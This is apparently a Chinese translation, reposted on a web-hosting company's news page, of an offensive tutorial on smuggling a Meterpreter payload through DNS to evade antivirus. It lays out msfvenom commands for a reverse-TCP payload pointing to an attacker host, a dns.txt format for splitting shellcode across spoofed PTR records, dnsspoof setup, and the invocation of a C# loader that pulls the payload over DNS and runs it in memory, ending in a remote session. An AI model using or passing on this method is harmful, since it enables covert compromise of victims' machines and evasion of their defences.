建站
咨詢(xún)
售后
建站咨詢(xún)
新聞中心
前言
在本篇文章里，我想解釋怎么樣不使用加密數(shù)據(jù)的方法也能繞過(guò)殺軟，同時(shí)我也想在github上分享源代碼。https://github.com/DamonMohammadbagher/NativePayload_DNS
我想使用DNS協(xié)議來(lái)傳輸我的后門(mén)載荷，從攻擊者的機(jī)器到客戶(hù)端機(jī)器。這種情況下，我們的后門(mén)代碼就不需要是硬編碼的或者加密的了。
因此被殺軟檢測(cè)出來(lái)的風(fēng)險(xiǎn)就很低了。
為什么是DNS協(xié)議?
因?yàn)樵诖蠖鄶?shù)的網(wǎng)絡(luò)里DNS流量都是有效的，IPS/IDS或者硬件防火墻都不會(huì)監(jiān)控和過(guò)濾DNS流量。我知道你可以使用SNORT IPS/IDS或者類(lèi)似的東西來(lái)檢測(cè)DNS流量，但是在DNS流量里使用特征檢測(cè)出新的載荷非常困難。當(dāng)然網(wǎng)絡(luò)管理員也有可能這么做。
本篇文章我想給你展示一個(gè)在DNS的請(qǐng)求和回應(yīng)流量里隱藏你的載荷的方法。
漏洞點(diǎn)在哪兒呢?
如果你想要在后門(mén)文件中利用非加密或者無(wú)硬編碼的攻擊負(fù)荷，比如現(xiàn)在這種情況，你需要利用像http,DNS ...這樣的網(wǎng)絡(luò)協(xié)議把攻擊負(fù)荷從你的系統(tǒng)傳送到目標(biāo)機(jī)上。這種情況下，我們想通過(guò)DNS協(xié)議傳送攻擊負(fù)荷，并同時(shí)在目標(biāo)機(jī)器的內(nèi)存里執(zhí)行這些攻擊載荷。因此漏洞點(diǎn)在于攻擊載荷的位置，還在于殺軟檢測(cè)惡意樣本的方式。因?yàn)樵谶@種情況下，我們不會(huì)保存攻擊載荷到文件系統(tǒng)，載荷只是在內(nèi)存里，流量里。
很不幸運(yùn)的是，各種殺軟為檢測(cè)惡意代碼，監(jiān)控網(wǎng)絡(luò)流量，監(jiān)控及掃描內(nèi)存的，卻不是很有效。甚至大多數(shù)殺軟不管是否有IPS/IDS特性，都是根本無(wú)效的。
例子：后門(mén)載荷隱藏在擁有PTR記錄和A記錄的DNS域中。
圖 1：DNS域(IP地址到DNS全稱(chēng)域名)
注：圖片一的紅色翻譯：
第一行：Meterpreter載荷的第一行數(shù)據(jù) {載荷}.1.com
左下方：時(shí)間設(shè)置，后門(mén)核心代碼每十分鐘重連一次攻擊者，每5分鐘建立一次連接。1.1.{10}.{5}
右下方：繞過(guò)比如像Snort對(duì)DNS流量的基于特征檢測(cè)攻擊載荷的好辦法(可能);-)，拆分攻擊載荷到1-5記錄。你可以利用NSLOOKUP來(lái)還原這些記錄，每隔一段時(shí)間比如(每2分鐘：獲取一個(gè)記錄)
正如你所見(jiàn)，這個(gè)DNS域中，我有兩個(gè)很像是全稱(chēng)域名的PTR類(lèi)型的記錄，隱藏了Meterpreter載荷。還有兩個(gè)PTR類(lèi)型的記錄保存了后門(mén)重連的時(shí)間設(shè)置，還有一個(gè)A類(lèi)型的記錄也是保存了時(shí)間設(shè)置。
拆分載荷數(shù)據(jù)到記錄! 如果你想繞過(guò)防火墻或者IPS/IDS對(duì)DNS流量的基于特征的檢測(cè)。
拆分的一個(gè)好辦法是，把你的攻擊載荷拆分到PTR類(lèi)型的DNS記錄里，或者其他你可以加密載荷并使用的協(xié)議里。這取決于你和你的目標(biāo)網(wǎng)絡(luò)。
正如圖1里，我把Meterpreter載荷的第一行數(shù)據(jù)拆分到5個(gè)記錄里。因此這些記錄里的載荷等于記錄1.1.1.0。
例子: 1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4 = 1.1.1.0。
在客戶(hù)端，你可以使用其他的工具或者技術(shù)，從假冒的DNS服務(wù)器獲取還原出這些載荷。不過(guò)，我打算利用NSLOOKUP命令行實(shí)時(shí)獲取，因?yàn)槲矣X(jué)得這比較簡(jiǎn)單。
在圖片2，我嘗試用NSLOOKUP工具測(cè)試假冒的DNS服務(wù)器到客戶(hù)端的DNS流量。
圖片2：Nslookup命令及DNS流量測(cè)試。
注：圖2里的紅色翻譯如下：Meterpreter載荷通過(guò)DNS協(xié)議傳輸?shù)牧髁俊，F(xiàn)在怎么檢測(cè)呢?有思路嗎?
現(xiàn)在我要講下，怎么樣在Linux里創(chuàng)建假冒的DNS服務(wù)器，以及Meterpreter載荷如何保存拆分到DNS記錄。最后我要利用我的工具NativePayload_DNS.exe來(lái)執(zhí)行這些載荷，并得到一個(gè)Meterpreter連接會(huì)話(huà)。
步驟1:一步步的創(chuàng)建擁有Meterpreter載荷的假冒DNS服務(wù)器：
本步驟中，你可以利用Msfvenom創(chuàng)建一個(gè)Meterpreter載荷，像圖片4中那樣。并把載荷一行一行的拷貝到dns.txt文件中，然后利用DNSSpoof在Kali Linux中創(chuàng)建一個(gè)假冒的DNS服務(wù)器。
不過(guò)我首先展示EXE模式的Meterpreter載荷，并用所有的殺軟測(cè)試，然后你會(huì)發(fā)現(xiàn)絕大多數(shù)殺軟都可以檢測(cè)出來(lái)。
為什么我要展示著一點(diǎn)呢?
因?yàn)槲蚁氡砻鹘o你看，同一個(gè)攻擊載荷，用兩種技術(shù)，一是EXE模式，二是DNS傳輸。你會(huì)看到殺軟可以檢測(cè)出EXE模式的載荷，但是不能檢測(cè)出利用第二個(gè)技術(shù)”DNS傳輸”的載荷。但我們知道這兩種方法是同一個(gè)載荷。
例子1 , EXE模式的載荷: msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f exe > /root/Desktop/payload.exe
下邊圖3你會(huì)看到，我的EXE模式的載荷被11款殺軟檢測(cè)出來(lái)了。
圖3：EXE模式的載荷被檢測(cè)出來(lái)了。
好了，現(xiàn)在該用第二種技術(shù)了，生成載荷時(shí)使用了C類(lèi)型。
例2 , 第二種技術(shù)DNS流量: msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f c > /root/Desktop/payload.txt
生成payload.txt文件后，必須把載荷拷貝到dns.txt，按照?qǐng)D4里的格式，一行一行的拷貝。這非常重要，必須保證dns.txt有正確的格式。因?yàn)長(zhǎng)inu里的Dnsspoof要用到，格式如下：
- IP地址 “{載荷}.域.com”
- 1.1.1.0 “0xfc0x480x830xe40xf00xe8.1.com”
- 1.1.1.1“0xbc0xc80x130xff0x100x08.1.com”
在這種情況下，因?yàn)槲业腃#后門(mén)定制化的用到了域名"1.com"，我們必須使用這個(gè)名稱(chēng)作為域名?；蛘呦衿渌?2.com"，"3.net"，"t.com"，再或者一個(gè)字符加".com"作為域名。
所以在這種情況下，IP地址” 1.1.1.x” 里的x就是dns.txt文件里的載荷行數(shù)，
- 1.1.1.0 --> payload.txt里的0行 --> “{載荷0}.1.com”
- 1.1.1.1 --> payload.txt里的1行 --> “{載荷1}.1.com”
- 1.1.1.2 --> payload.txt里的2行 --> “{載荷2}.1.com”
圖4：生成假冒的DNS服務(wù)器和Meterpreter載荷的步驟1
生成后的dns.txt文件應(yīng)該如下圖5。
圖5：dnsspoof用來(lái)假冒DNS服務(wù)器的Dns.txt文件
好了，現(xiàn)在利用dnsspoof在Linux里生成假冒的DNS服務(wù)器，像下圖6一樣。
圖6：dnsspoof工具
在步驟2中，我們需要一個(gè)后門(mén)，從假冒的DNS服務(wù)器下載攻擊載荷，利用的是DNS協(xié)議。
在這種情況下，我編寫(xiě)了C#代碼來(lái)干這件事。我的代碼里使用了nslookup.exe發(fā)送DNS請(qǐng)求，最終我的代碼捕獲到了DNS PTR類(lèi)型回應(yīng)里的后門(mén)載荷。
C# 源代碼鏈接: https://github.com/DamonMohammadbagher/NativePayload_DNS
步驟2：
源代碼編譯后，生成的exe，按照如下的命令語(yǔ)法執(zhí)行：
命令語(yǔ)法: NativePayload_DNS.exe “起始IP地址” 計(jì)數(shù) “假冒DNS服務(wù)器IP地址”
例如: C:\> NativePayload_DNS.exe “1.1.1.” 34 “192.168.1.50”
起始IP地址：是你PTR記錄里的第一個(gè)IP地址，不包含最后一節(jié)。對(duì)于域名ID { 1 . 1 . 1 . }你需要輸入三個(gè)1.作為參數(shù)。
計(jì)數(shù)：是DNS PTR類(lèi)型記錄的個(gè)數(shù)，在這種情況下，我們dns.txt 文件里的1.1.1.0 …. 1.1.1.33，所以這個(gè)計(jì)數(shù)是34。
假冒DNS服務(wù)器IP地址：是我們或者說(shuō)是攻擊者的假冒的DNS服務(wù)器IP地址，在這種情況下，我們的kali linux ip地址是192-168-1-50。
在執(zhí)行后門(mén)之前，你要記住，必須確保kali linux里的Metasploit監(jiān)聽(tīng)在IP地址192-168-1-50。
現(xiàn)在你可以像圖7一樣執(zhí)行后門(mén)了：
NativePayload_DNS.exe 1.1.1. 34 192.168.1.50
圖7：NativePayload_DNS 工具
正如圖7里，后門(mén)嘗試發(fā)送DNS請(qǐng)求IP地址1.1.1.x，并得到了PTR或者FQDN類(lèi)型記錄的回應(yīng)。在下一張圖里，你會(huì)發(fā)現(xiàn)客戶(hù)端和假冒DNS服務(wù)器之間的網(wǎng)絡(luò)流量。
圖8：利用DNS流量傳送Meterpreter載荷
最終34個(gè)記錄倒計(jì)時(shí)完成之后，你會(huì)在攻擊者那端得到一個(gè)Meterpreter連接會(huì)話(huà)，像圖9里的。而且不幸的是，我的殺軟沒(méi)檢測(cè)出來(lái)這種技術(shù)。我認(rèn)為大多數(shù)的殺軟都無(wú)法檢測(cè)出來(lái)，如果你用其他殺軟測(cè)試了這個(gè)技術(shù)，請(qǐng)?jiān)谠u(píng)論里留言告訴我結(jié)果，還有哪款殺軟和版本;)。謝謝你伙計(jì)。
圖9：利用DNS協(xié)議的Meterpreter會(huì)話(huà)連接
你會(huì)看到我的殺軟再一次被繞過(guò)了;-)，這是用所有殺軟掃描我的源代碼的結(jié)果，你可以比較圖3和圖10。兩個(gè)后門(mén)使用同樣的載荷。
圖 10: NativePayload_DNS (AVs結(jié)果 = 0 被檢測(cè))
下張圖你會(huì)看到C#源代碼使用了NSLOOKUP工具的背后究竟發(fā)生了什么。
圖11：Nslookup 和 UDP連接
最終你會(huì)在tcpview和putty里看到我的Meterpreter會(huì)話(huà)，見(jiàn)下圖：
圖12：Tcpview以及TCP有效連接，當(dāng)后門(mén)載荷被從假冒的DNS服務(wù)器下載下來(lái)后。
在圖13里，你同樣可以看到Meterpreter會(huì)話(huà)：
圖13：Meterpreter會(huì)話(huà)。
一目了然：你不能相信殺軟總是可以防范網(wǎng)絡(luò)中攻擊載荷的傳輸，如果通過(guò)這種技術(shù)或者其他的方法來(lái)傳送攻擊載荷的話(huà)，哪怕是使用其他協(xié)議。你的網(wǎng)絡(luò)和客戶(hù)端/服務(wù)器是很脆弱的。所以請(qǐng)用你自己的殺軟測(cè)試這個(gè)技術(shù)，并分享你的經(jīng)驗(yàn)，在評(píng)論里留言告訴我(也許這件事我說(shuō)錯(cuò)了，也許沒(méi)有)。
網(wǎng)站欄目：通過(guò)DNS傳輸后門(mén)來(lái)繞過(guò)殺軟
文章來(lái)源：http://m.5511xx.com/article/dheccos.html
